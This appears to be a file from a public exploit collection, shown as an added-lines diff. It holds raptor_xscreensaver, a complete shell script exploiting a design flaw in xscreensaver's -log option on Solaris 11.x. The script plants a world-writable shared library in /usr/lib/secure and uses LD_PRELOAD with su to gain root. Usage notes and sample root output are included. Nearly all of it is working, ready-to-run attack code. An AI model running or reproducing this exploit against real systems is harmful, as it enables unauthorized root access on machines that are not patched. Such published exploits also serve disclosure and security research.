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solaris/raptor_xscreensaver
| | 1 | + | #!/bin/sh |
| | 2 | + | |
| | 3 | + | # |
| | 4 | + | # raptor_xscreensaver - Solaris 11.x LPE via xscreensaver |
| | 5 | + | # Copyright (c) 2019 Marco Ivaldi <[email protected]> |
| | 6 | + | # |
| | 7 | + | # Exploitation of a design error vulnerability in xscreensaver, as |
| | 8 | + | # distributed with Solaris 11.x, allows local attackers to create |
| | 9 | + | # (or append to) arbitrary files on the system, by abusing the -log |
| | 10 | + | # command line switch introduced in version 5.06. This flaw can be |
| | 11 | + | # leveraged to cause a denial of service condition or to escalate |
| | 12 | + | # privileges to root. This is a Solaris-specific vulnerability, |
| | 13 | + | # caused by the fact that Oracle maintains a slightly different |
| | 14 | + | # codebase from the upstream one. |
| | 15 | + | # |
| | 16 | + | # "I'd rather be lucky than good any day." -- J. R. "Bob" Dobbs |
| | 17 | + | # "Good hackers force luck." -- ~A. |
| | 18 | + | # |
| | 19 | + | # This exploit targets the /usr/lib/secure/ directory in order |
| | 20 | + | # to escalate privileges with the LD_PRELOAD technique. The |
| | 21 | + | # implementation of other exploitation vectors, including those |
| | 22 | + | # that do not require gcc to be present on the target system, is |
| | 23 | + | # left as an exercise to fellow UNIX hackers;) |
| | 24 | + | # |
| | 25 | + | # Usage: |
| | 26 | + | # raptor@stalker:~$ chmod +x raptor_xscreensaver |
| | 27 | + | # raptor@stalker:~$ ./raptor_xscreensaver |
| | 28 | + | # [...] |
| | 29 | + | # Oracle Corporation SunOS 5.11 11.4 Aug 2018 |
| | 30 | + | # root@stalker:~# id |
| | 31 | + | # uid=0(root) gid=0(root) |
| | 32 | + | # root@stalker:~# rm /usr/lib/secure/64/getuid.so /tmp/getuid.* |
| | 33 | + | # |
| | 34 | + | # Vulnerable platforms: |
| | 35 | + | # Oracle Solaris 11 X86 [tested on 11.4 and 11.3] |
| | 36 | + | # Oracle Solaris 11 SPARC [untested] |
| | 37 | + | # |
| | 38 | + | |
| | 39 | + | echo "raptor_xscreensaver - Solaris 11.x LPE via xscreensaver" |
| | 40 | + | echo "Copyright (c) 2019 Marco Ivaldi <[email protected]>" |
| | 41 | + | echo |
| | 42 | + | |
| | 43 | + | # prepare the payload |
| | 44 | + | echo "int getuid(){return 0;}" > /tmp/getuid.c |
| | 45 | + | gcc -fPIC -Wall -g -O2 -shared -o /tmp/getuid.so /tmp/getuid.c -lc |
| | 46 | + | if [ $? -ne 0 ]; then |
| | 47 | + | echo "error: problem compiling the shared library, check your gcc" |
| | 48 | + | exit 1 |
| | 49 | + | fi |
| | 50 | + | |
| | 51 | + | # check the architecture |
| | 52 | + | LOG=/usr/lib/secure/getuid.so |
| | 53 | + | file /bin/su | grep 64-bit >/dev/null 2>&1 |
| | 54 | + | if [ $? -eq 0 ]; then |
| | 55 | + | LOG=/usr/lib/secure/64/getuid.so |
| | 56 | + | fi |
| | 57 | + | |
| | 58 | + | # start our own xserver |
| | 59 | + | # alternatively we can connect back to a valid xserver (e.g. xquartz) |
| | 60 | + | /usr/bin/Xorg :1 & |
| | 61 | + | |
| | 62 | + | # trigger the bug |
| | 63 | + | umask 0 |
| | 64 | + | /usr/bin/xscreensaver -display :1 -log $LOG & |
| | 65 | + | sleep 5 |
| | 66 | + | |
| | 67 | + | # clean up |
| | 68 | + | pkill -n xscreensaver |
| | 69 | + | pkill -n Xorg |
| | 70 | + | |
| | 71 | + | # LD_PRELOAD-fu |
| | 72 | + | cp /tmp/getuid.so $LOG |
| | 73 | + | LD_PRELOAD=$LOG su - |
| | 74 | + | |
